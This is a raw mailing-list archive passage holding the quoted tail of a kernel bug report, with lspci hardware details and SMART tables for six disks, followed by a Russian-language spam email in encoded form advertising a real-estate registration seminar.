DEVSEL=fast >TAbort- SERR- Latency: 0, Cache Line Size: 32 bytes > Interrupt: pin A routed to IRQ 44 > Region 0: I/O ports at c000 [size=256] > Region 2: Memory at f9000000 (64-bit, non-prefetchable) [size=4K] > [virtual] Expansion ROM at fc800000 [disabled] [size=64K] > Capabilities: [40] Power Management version 2 > Flags: PMEClk- DSI- D1+ D2+ AuxCurrent=375mA PME(D0-,D1+,D2+,D3hot+,D3cold+) > Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- > Capabilities: [48] Vital Product Data > Unknown small resource type 00, will not decode more. > Capabilities: [50] MSI: Enable+ Count=1/2 Maskable- 64bit+ > Address: 00000000fee0f00c Data: 41e1 > Capabilities: [60] Express (v1) Endpoint, MSI 00 > DevCap: MaxPayload 1024 bytes, PhantFunc 0, Latency L0s unlimited, L1 unlimited > ExtTag+ AttnBtn+ AttnInd+ PwrInd+ RBE- FLReset- > DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- > RlxdOrd+ ExtTag- PhantFunc- AuxPwr- NoSnoop+ > MaxPayload 128 bytes, MaxReadReq 4096 bytes > DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr+ TransPend- > LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited > ClockPM- Surprise- LLActRep- BwNot- > LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk- > ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- > LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- > Capabilities: [84] Vendor Specific Information: Len=4c > Capabilities: [100 v1] Advanced Error Reporting > UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- > UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- > UESvrt: DLP+ SDES- TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol- > CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr- > CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr- > AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn- > Capabilities: [12c v1] Virtual Channel > Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 > Arb: Fixed- WRR32- WRR64- WRR128- > Ctrl: ArbSelect=Fixed > Status: InProgress- > VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- > Arb: Fixed- WRR32- WRR64- WRR128- TWRR128- WRR256- > Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=ff > Status: NegoPending- InProgress- > Capabilities: [148 v1] Device Serial Number 25-00-00-00-10-ec-81-68 > Capabilities: [154 v1] Power Budgeting > Kernel driver in use: r8169 > Kernel modules: r8169 > > 04:00.0 VGA compatible controller: Tseng Labs Inc ET6000 (rev 30) (prog-if 00 [VGA controller]) > Control: I/O+ Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap- 66MHz- UDF- FastB2B- ParErr- DEVSEL=slow >TAbort- SERR- Interrupt: pin A routed to IRQ 12 > Region 0: Memory at fa000000 (32-bit, non-prefetchable) [size=16M] > Region 1: I/O ports at d000 [size=256] > [virtual] Expansion ROM at fd000000 [disabled] [size=16M] > > REPORTING-BUGS X.: > /dev/sda > smartctl 6.1 2013-03-16 r3800 [x86_64-linux-3.10.12] (local build) > Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org > > === START OF READ SMART DATA SECTION === > SMART Attributes Data Structure revision number: 10 > Vendor Specific SMART Attributes with Thresholds: > ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE > 1 Raw_Read_Error_Rate 0x000f 113 099 006 Pre-fail Always - 52029832 > 3 Spin_Up_Time 0x0003 093 091 000 Pre-fail Always - 0 > 4 Start_Stop_Count 0x0032 100 100 020 Old_age Always - 28 > 5 Reallocated_Sector_Ct 0x0033 100 100 036 Pre-fail Always - 0 > 7 Seek_Error_Rate 0x000f 077 060 030 Pre-fail Always - 56370327 > 9 Power_On_Hours 0x0032 092 092 000 Old_age Always - 7410 > 10 Spin_Retry_Count 0x0013 100 100 097 Pre-fail Always - 0 > 12 Power_Cycle_Count 0x0032 100 100 020 Old_age Always - 26 > 183 Runtime_Bad_Block 0x0032 100 100 000 Old_age Always - 0 > 184 End-to-End_Error 0x0032 100 100 099 Old_age Always - 0 > 187 Reported_Uncorrect 0x0032 100 100 000 Old_age Always - 0 > 188 Command_Timeout 0x0032 100 100 000 Old_age Always - 0 0 0 > 189 High_Fly_Writes 0x003a 100 100 000 Old_age Always - 0 > 190 Airflow_Temperature_Cel 0x0022 074 059 045 Old_age Always - 26 (Min/Max 25/26) > 191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 0 > 192 Power-Off_Retract_Count 0x0032 100 100 000 Old_age Always - 17 > 193 Load_Cycle_Count 0x0032 100 100 000 Old_age Always - 28 > 194 Temperature_Celsius 0x0022 026 041 000 Old_age Always - 26 (0 8 0 0 0) > 197 Current_Pending_Sector 0x0012 100 100 000 Old_age Always - 0 > 198 Offline_Uncorrectable 0x0010 100 100 000 Old_age Offline - 0 > 199 UDMA_CRC_Error_Count 0x003e 200 200 000 Old_age Always - 0 > 240 Head_Flying_Hours 0x0000 100 253 000 Old_age Offline - 7401h+40m+39.436s > 241 Total_LBAs_Written 0x0000 100 253 000 Old_age Offline - 15179411843 > 242 Total_LBAs_Read 0x0000 100 253 000 Old_age Offline - 30364572726 > > > > /dev/sdb > smartctl 6.1 2013-03-16 r3800 [x86_64-linux-3.10.12] (local build) > Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org > > === START OF READ SMART DATA SECTION === > SMART Attributes Data Structure revision number: 10 > Vendor Specific SMART Attributes with Thresholds: > ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE > 1 Raw_Read_Error_Rate 0x000f 101 099 006 Pre-fail Always - 3444008 > 3 Spin_Up_Time 0x0003 093 091 000 Pre-fail Always - 0 > 4 Start_Stop_Count 0x0032 100 100 020 Old_age Always - 28 > 5 Reallocated_Sector_Ct 0x0033 100 100 036 Pre-fail Always - 0 > 7 Seek_Error_Rate 0x000f 077 060 030 Pre-fail Always - 58291405 > 9 Power_On_Hours 0x0032 092 092 000 Old_age Always - 7410 > 10 Spin_Retry_Count 0x0013 100 100 097 Pre-fail Always - 0 > 12 Power_Cycle_Count 0x0032 100 100 020 Old_age Always - 26 > 183 Runtime_Bad_Block 0x0032 100 100 000 Old_age Always - 0 > 184 End-to-End_Error 0x0032 100 100 099 Old_age Always - 0 > 187 Reported_Uncorrect 0x0032 100 100 000 Old_age Always - 0 > 188 Command_Timeout 0x0032 100 099 000 Old_age Always - 1 1 1 > 189 High_Fly_Writes 0x003a 100 100 000 Old_age Always - 0 > 190 Airflow_Temperature_Cel 0x0022 074 058 045 Old_age Always - 26 (Min/Max 26/26) > 191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 0 > 192 Power-Off_Retract_Count 0x0032 100 100 000 Old_age Always - 17 > 193 Load_Cycle_Count 0x0032 100 100 000 Old_age Always - 28 > 194 Temperature_Celsius 0x0022 026 042 000 Old_age Always - 26 (0 9 0 0 0) > 197 Current_Pending_Sector 0x0012 100 100 000 Old_age Always - 0 > 198 Offline_Uncorrectable 0x0010 100 100 000 Old_age Offline - 0 > 199 UDMA_CRC_Error_Count 0x003e 200 200 000 Old_age Always - 0 > 240 Head_Flying_Hours 0x0000 100 253 000 Old_age Offline - 7401h+36m+45.571s > 241 Total_LBAs_Written 0x0000 100 253 000 Old_age Offline - 15416367052 > 242 Total_LBAs_Read 0x0000 100 253 000 Old_age Offline - 30467752289 > > > > /dev/sdc > smartctl 6.1 2013-03-16 r3800 [x86_64-linux-3.10.12] (local build) > Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org > > === START OF READ SMART DATA SECTION === > SMART Attributes Data Structure revision number: 10 > Vendor Specific SMART Attributes with Thresholds: > ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE > 1 Raw_Read_Error_Rate 0x000f 118 099 006 Pre-fail Always - 175403864 > 3 Spin_Up_Time 0x0003 093 092 000 Pre-fail Always - 0 > 4 Start_Stop_Count 0x0032 100 100 020 Old_age Always - 42 > 5 Reallocated_Sector_Ct 0x0033 100 100 036 Pre-fail Always - 0 > 7 Seek_Error_Rate 0x000f 072 060 030 Pre-fail Always - 12941772715 > 9 Power_On_Hours 0x0032 092 092 000 Old_age Always - 7392 > 10 Spin_Retry_Count 0x0013 100 100 097 Pre-fail Always - 0 > 12 Power_Cycle_Count 0x0032 100 100 020 Old_age Always - 43 > 183 Runtime_Bad_Block 0x0032 100 100 000 Old_age Always - 0 > 184 End-to-End_Error 0x0032 100 100 099 Old_age Always - 0 > 187 Reported_Uncorrect 0x0032 100 100 000 Old_age Always - 0 > 188 Command_Timeout 0x0032 100 100 000 Old_age Always - 0 0 0 > 189 High_Fly_Writes 0x003a 065 065 000 Old_age Always - 35 > 190 Airflow_Temperature_Cel 0x0022 073 050 045 Old_age Always - 27 (Min/Max 27/28) > 191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 0 > 192 Power-Off_Retract_Count 0x0032 100 100 000 Old_age Always - 31 > 193 Load_Cycle_Count 0x0032 100 100 000 Old_age Always - 42 > 194 Temperature_Celsius 0x0022 027 050 000 Old_age Always - 27 (0 11 0 0 0) > 197 Current_Pending_Sector 0x0012 100 100 000 Old_age Always - 0 > 198 Offline_Uncorrectable 0x0010 100 100 000 Old_age Offline - 0 > 199 UDMA_CRC_Error_Count 0x003e 200 200 000 Old_age Always - 0 > 240 Head_Flying_Hours 0x0000 100 253 000 Old_age Offline - 7393h+04m+25.434s > 241 Total_LBAs_Written 0x0000 100 253 000 Old_age Offline - 15115858985 > 242 Total_LBAs_Read 0x0000 100 253 000 Old_age Offline - 31286103359 > > > > /dev/sdd > smartctl 6.1 2013-03-16 r3800 [x86_64-linux-3.10.12] (local build) > Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org > > === START OF READ SMART DATA SECTION === > SMART Attributes Data Structure revision number: 10 > Vendor Specific SMART Attributes with Thresholds: > ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE > 1 Raw_Read_Error_Rate 0x000f 118 099 006 Pre-fail Always - 193340384 > 3 Spin_Up_Time 0x0003 093 091 000 Pre-fail Always - 0 > 4 Start_Stop_Count 0x0032 100 100 020 Old_age Always - 28 > 5 Reallocated_Sector_Ct 0x0033 100 100 036 Pre-fail Always - 0 > 7 Seek_Error_Rate 0x000f 077 060 030 Pre-fail Always - 4351148414 > 9 Power_On_Hours 0x0032 092 092 000 Old_age Always - 7410 > 10 Spin_Retry_Count 0x0013 100 100 097 Pre-fail Always - 0 > 12 Power_Cycle_Count 0x0032 100 100 020 Old_age Always - 26 > 183 Runtime_Bad_Block 0x0032 100 100 000 Old_age Always - 0 > 184 End-to-End_Error 0x0032 100 100 099 Old_age Always - 0 > 187 Reported_Uncorrect 0x0032 100 100 000 Old_age Always - 0 > 188 Command_Timeout 0x0032 100 099 000 Old_age Always - 2 2 2 > 189 High_Fly_Writes 0x003a 099 099 000 Old_age Always - 1 > 190 Airflow_Temperature_Cel 0x0022 072 051 045 Old_age Always - 28 (Min/Max 28/29) > 191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 0 > 192 Power-Off_Retract_Count 0x0032 100 100 000 Old_age Always - 17 > 193 Load_Cycle_Count 0x0032 100 100 000 Old_age Always - 28 > 194 Temperature_Celsius 0x0022 028 049 000 Old_age Always - 28 (0 8 0 0 0) > 197 Current_Pending_Sector 0x0012 100 100 000 Old_age Always - 0 > 198 Offline_Uncorrectable 0x0010 100 100 000 Old_age Offline - 0 > 199 UDMA_CRC_Error_Count 0x003e 200 200 000 Old_age Always - 0 > 240 Head_Flying_Hours 0x0000 100 253 000 Old_age Offline - 7401h+38m+16.728s > 241 Total_LBAs_Written 0x0000 100 253 000 Old_age Offline - 15063356499 > 242 Total_LBAs_Read 0x0000 100 253 000 Old_age Offline - 31585014912 > > > > /dev/sde > smartctl 6.1 2013-03-16 r3800 [x86_64-linux-3.10.12] (local build) > Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org > > === START OF READ SMART DATA SECTION === > SMART Attributes Data Structure revision number: 10 > Vendor Specific SMART Attributes with Thresholds: > ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE > 1 Raw_Read_Error_Rate 0x000f 119 099 006 Pre-fail Always - 227406336 > 3 Spin_Up_Time 0x0003 094 091 000 Pre-fail Always - 0 > 4 Start_Stop_Count 0x0032 100 100 020 Old_age Always - 28 > 5 Reallocated_Sector_Ct 0x0033 100 100 036 Pre-fail Always - 0 > 7 Seek_Error_Rate 0x000f 077 060 030 Pre-fail Always - 58231250 > 9 Power_On_Hours 0x0032 092 092 000 Old_age Always - 7410 > 10 Spin_Retry_Count 0x0013 100 100 097 Pre-fail Always - 0 > 12 Power_Cycle_Count 0x0032 100 100 020 Old_age Always - 26 > 183 Runtime_Bad_Block 0x0032 100 100 000 Old_age Always - 0 > 184 End-to-End_Error 0x0032 100 100 099 Old_age Always - 0 > 187 Reported_Uncorrect 0x0032 100 100 000 Old_age Always - 0 > 188 Command_Timeout 0x0032 100 098 000 Old_age Always - 2 2 2 > 189 High_Fly_Writes 0x003a 097 097 000 Old_age Always - 3 > 190 Airflow_Temperature_Cel 0x0022 074 057 045 Old_age Always - 26 (Min/Max 26/26) > 191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 0 > 192 Power-Off_Retract_Count 0x0032 100 100 000 Old_age Always - 17 > 193 Load_Cycle_Count 0x0032 100 100 000 Old_age Always - 28 > 194 Temperature_Celsius 0x0022 026 043 000 Old_age Always - 26 (0 9 0 0 0) > 197 Current_Pending_Sector 0x0012 100 100 000 Old_age Always - 0 > 198 Offline_Uncorrectable 0x0010 100 100 000 Old_age Offline - 0 > 199 UDMA_CRC_Error_Count 0x003e 200 200 000 Old_age Always - 0 > 240 Head_Flying_Hours 0x0000 100 253 000 Old_age Offline - 7401h+43m+09.455s > 241 Total_LBAs_Written 0x0000 100 253 000 Old_age Offline - 15287598878 > 242 Total_LBAs_Read 0x0000 100 253 000 Old_age Offline - 30617109958 > > > > /dev/sdf > smartctl 6.1 2013-03-16 r3800 [x86_64-linux-3.10.12] (local build) > Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org > > === START OF READ SMART DATA SECTION === > SMART Attributes Data Structure revision number: 10 > Vendor Specific SMART Attributes with Thresholds: > ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE > 1 Raw_Read_Error_Rate 0x000f 111 099 006 Pre-fail Always - 38402152 > 3 Spin_Up_Time 0x0003 093 091 000 Pre-fail Always - 0 > 4 Start_Stop_Count 0x0032 100 100 020 Old_age Always - 28 > 5 Reallocated_Sector_Ct 0x0033 100 100 036 Pre-fail Always - 8 > 7 Seek_Error_Rate 0x000f 077 060 030 Pre-fail Always - 4353610470 > 9 Power_On_Hours 0x0032 092 092 000 Old_age Always - 7410 > 10 Spin_Retry_Count 0x0013 100 100 097 Pre-fail Always - 0 > 12 Power_Cycle_Count 0x0032 100 100 020 Old_age Always - 26 > 183 Runtime_Bad_Block 0x0032 100 100 000 Old_age Always - 0 > 184 End-to-End_Error 0x0032 100 100 099 Old_age Always - 0 > 187 Reported_Uncorrect 0x0032 100 100 000 Old_age Always - 0 > 188 Command_Timeout 0x0032 100 099 000 Old_age Always - 1 1 1 > 189 High_Fly_Writes 0x003a 086 086 000 Old_age Always - 14 > 190 Airflow_Temperature_Cel 0x0022 075 053 045 Old_age Always - 25 (Min/Max 25/25) > 191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 0 > 192 Power-Off_Retract_Count 0x0032 100 100 000 Old_age Always - 17 > 193 Load_Cycle_Count 0x0032 100 100 000 Old_age Always - 28 > 194 Temperature_Celsius 0x0022 025 047 000 Old_age Always - 25 (0 8 0 0 0) > 197 Current_Pending_Sector 0x0012 100 100 000 Old_age Always - 0 > 198 Offline_Uncorrectable 0x0010 100 100 000 Old_age Offline - 0 > 199 UDMA_CRC_Error_Count 0x003e 200 200 000 Old_age Always - 0 > 240 Head_Flying_Hours 0x0000 100 253 000 Old_age Offline - 7401h+48m+23.389s > 241 Total_LBAs_Written 0x0000 100 253 000 Old_age Offline - 15319843620 > 242 Total_LBAs_Read 0x0000 100 253 000 Old_age Offline - 31275159789 > -- > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ -- Jan Kara SUSE Labs, CR From info@stroyspecsnab.ru Sun Sep 22 17:01:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BFA9429DFB for ; Sun, 22 Sep 2013 17:01:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8298E8F8035 for ; Sun, 22 Sep 2013 15:00:59 -0700 (PDT) X-ASG-Debug-ID: 1379887256-04bdf02f211322010001-NocioJ Received: from v40828.vps.mcdir.ru (v40828.vps.mcdir.ru [178.208.80.95]) by cuda.sgi.com with ESMTP id Nix0LnTccCcjXERz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 22 Sep 2013 15:00:57 -0700 (PDT) X-Barracuda-Envelope-From: info@stroyspecsnab.ru X-Barracuda-Apparent-Source-IP: 178.208.80.95 Received: from [190.107.140.77] (helo=Unknown) by v40828.vps.mcdir.ru with esmtpa (Exim 4.63) (envelope-from ) id 1VNrhW-00077S-7F; Mon, 23 Sep 2013 02:00:23 +0400 Message-ID: Reply-To: =?windows-1251?B?6O3m5e3l8CDu8uTl6+Ag7+4g7+7k4+7y7uLq?= =?windows-1251?B?5SDv5fDx7u3g6+A=?= From: =?windows-1251?B?6O3m5e3l8CDu8uTl6+Ag7+4g7+7k4+7y7uLq?= =?windows-1251?B?5SDv5fDx7u3g6+A=?= To: , , , Subject: =?windows-1251?B?7eD34Ov87ejqIPLw4O3x7+7w8u3uLfHq6+Dk?= =?windows-1251?B?8eru4+4g9e7n/+nx8uLg?= Date: Mon, 23 Sep 2013 00:00:18 +0200 X-ASG-Orig-Subj: =?windows-1251?B?7eD34Ov87ejqIPLw4O3x7+7w8u3uLfHq6+Dk?= =?windows-1251?B?8eru4+4g9e7n/+nx8uLg?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1852_01CEB7EF.E37140C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 Sender: info@stroyspecsnab.ru X-Barracuda-Connect: v40828.vps.mcdir.ru[178.208.80.95] X-Barracuda-Start-Time: 1379887257 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_1852_01CEB7EF.E37140C0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1853_01CEB7EF.E37140C0" ------=_NextPart_001_1853_01CEB7EF.E37140C0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable "=CE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8: =EA=E0=E4=E0= =F1=F2=F0, =EE=F4=EE=F0=EC=EB=E5=ED=E8=E5 =EF=F0=E0=E2, =F0=E5=E3=E8=F1=F2= =F0=E0=F6=E8=FF." =CF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=ED=EE=E5 =EF=F0=E0=E2=EE =ED=E0 =EE=E1=FA= =E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2=EE=E7=ED=E8=EA=E0=E5=F2= =F1 =EC=EE=EC=E5=ED=F2=E0 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E9 = =F0=E5=E3. =CA=E0=EA =EF=F0=EE=E2=E5=F1=F2=E8 =F1=E4=E5=EB=EA=F3 =F1 =E8=EC= =F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=EC =EA=EE=EC=EF=EB=E5=EA=F1=EE=EC? =CA=E0=EA= =E8=EC =EE=E1=F0=E0=E7=EE=EC =EE=F1=F3=F9=E5=F1=F2=E2=E8=F2=FC =ED=E5=EE=E1= =F5=EE=E4=E8=EC=FB=E5 =E4=E5=E9=F1=F2=E2=E8=FF =EF=EE =EF=E0=F1=EF=EE=F0=F2= =E8=F0=EE=E2=E0=ED=E8=FE, =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8 =EF=F0=E0=E2 = =E8 =EA=E0=E4=E0=F1=F2=F0=EE=E2=EE=EC=F3 =F3=F7=E5=F2=F3? =CA=E0=EA=E8=E5= =E2=E5=E4=EE=EC=F1=F2=E2=E0 =E8 =F1=EB=F3=E6=E1=FB =EE=F2=E2=E5=F7=E0=FE= =F2 =E7=E0 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FE =ED=E5=E4=E2=E8=E6=E8=EC=EE=E3= =EE =E8=EC=F3=F9=E5=F1=F2=E2=E0? =CF=EE=F1=EB=E5=E4=ED=E8=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =E8 =F1=E0=EC=FB=E5= =E0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=E2=EE=E2=FB=E5 =E2=EE=EF=F0=EE=F1= =FB =E2 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=EE=EC =EC=E5=F0=EE=EF=F0= =E8=FF=F2=E8=E8 =E2 =E3=EE=F0. =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3= =E5: =EE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EF=F0=E5=E4=EE=F1=F2=E0=E2=EB=E5=ED=E8= =FF =F3=F7=E0=F1=F2=EA=EE=E2 =EF=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE= ; =E2=EE=E7=ED=E8=EA=ED=EE=E2=E5=ED=E8=E5 =EF=F0=E0=E2 =ED=E0 =EE=E1=FA=E5= =EA=F2 =EF=F0=E8 =E2=E2=EE=E4=E5 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB= =F3=E0=F2=E0=F6=E8=FE; =EB=E8=ED=E5=E9=ED=FB=E5 =EE=E1=FA=E5=EA=F2=FB =E8= =E8=ED=E6=E5=ED=E5=F0=ED=FB=E5 =F1=E5=F2=E8; =F2=F0=E5=E1=EE=E2=E0=ED=E8= =FF =EA =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E7=E4=E0=ED=E8=E9 =E8 =F1=EE= =EE=F0=F3=E6=E5=ED=E8=E9, =E2 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=E8=E8 =F1 N = 337-=D4=C7 =EE=F2 28.1l.2ol1 =F1=E4=E5=EB=EA=E8 =F1 =E7=E5=EC=EB=E5=E9; =EA= =E0=E4=E0=F1=F2=F0 =EE=E1=FA=E5=EA=F2=EE=E2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1= =F2=E8: =EF=F0=E8=ED=F6=E8=EF=FB =E2=E5=E4=E5=ED=E8=FF =E8 =EF=F0=E5=E4=EE= =F1=F2=E0=E2=EB=E5=ED=E8=E5 =F1=E2=E5=E4=E5=ED=E8=E9; =EC=E5=E6=E5=E2=E0= =ED=E8=E5, =EA=E0=E4=E0=F1=F2=F0=EE=E2=FB=E5 =EF=E0=F1=EF=EE=F0=F2=E0; =E2= =E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=E5 =F1=EB=F3=E6=E1 =D0=EE=F1=F0=E5=E5= =F1=F2=F0=E0, =C1=D2=C8=A0 =E8 =EF=F0. =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E7=E0= =EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 =E0=EA=F2=FB =E2 =F1=F4=E5=F0=E5 = =E7=E5=EC=EB=E5=F3=F1=F2=F0=EE=E9=F1=F2=E2=E0, =C3=CA=CD, =F0=E5=E3=E8=F1= =F2=F0=E0=F6=E8=E8 =F1=E4=E5=EB=EE=EA =F1 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2= =FC=FE; =20 __________ =CC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E5 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED= =ED=EE=E5 =F1 =CE7 =EF=EE 08 =EE=EA=F2=FF=E1=F0=FF 20l3 =E3=EE=E4=E0, =E3=EE=F0=EE=E4= =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3 =C7=E0=EF=E8=F1=FC =E8 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=E8: : +7 [ =F1=EF=E1 ] 98__=D7 - 53 _ 6__3 ------=_NextPart_001_1853_01CEB7EF.E37140C0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable Untitled Document

"=CE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC= =EE=F1=F2=E8: =EA=E0=E4=E0=F1=F2=F0, =EE=F4=EE=F0=EC=EB=E5=ED=E8=E5 =EF=F0= =E0=E2, =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FF."


=CF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=ED=EE=E5 =EF=F0=E0= =E2=EE =ED=E0 =EE=E1=FA=E5=EA=F2 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =E2= =EE=E7=ED=E8=EA=E0=E5=F2 =F1 =EC=EE=EC=E5=ED=F2=E0 =E3=EE=F1=F3=E4=E0=F0= =F1=F2=E2=E5=ED=ED=EE=E9 =F0=E5=E3. =CA=E0=EA =EF=F0=EE=E2=E5=F1=F2=E8 =F1= =E4=E5=EB=EA=F3 =F1 =E8=EC=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=EC =EA=EE=EC=EF=EB= =E5=EA=F1=EE=EC? =CA=E0=EA=E8=EC =EE=E1=F0=E0=E7=EE=EC =EE=F1=F3=F9=E5=F1= =F2=E2=E8=F2=FC =ED=E5=EE=E1=F5=EE=E4=E8=EC=FB=E5 =E4=E5=E9=F1=F2=E2=E8=FF= =EF=EE =EF=E0=F1=EF=EE=F0=F2=E8=F0=EE=E2=E0=ED=E8=FE, =F0=E5=E3=E8=F1=F2= =F0=E0=F6=E8=E8 =EF=F0=E0=E2 =E8 =EA=E0=E4=E0=F1=F2=F0=EE=E2=EE=EC=F3 =F3= =F7=E5=F2=F3? =CA=E0=EA=E8=E5 =E2=E5=E4=EE=EC=F1=F2=E2=E0 =E8 =F1=EB=F3=E6= =E1=FB =EE=F2=E2=E5=F7=E0=FE=F2 =E7=E0 =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=FE = =ED=E5=E4=E2=E8=E6=E8=EC=EE=E3=EE =E8=EC=F3=F9=E5=F1=F2=E2=E0?

=CF=EE=F1=EB=E5=E4=ED=E8=E5 =E8=E7=EC=E5=ED=E5=ED= =E8=FF =E8 =F1=E0=EC=FB=E5 =E0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=E2=EE= =E2=FB=E5 =E2=EE=EF=F0=EE=F1=FB =E2 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED= =ED=EE=EC =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E8 =E2 =E3=EE=F0. =D1=E0= =ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5:

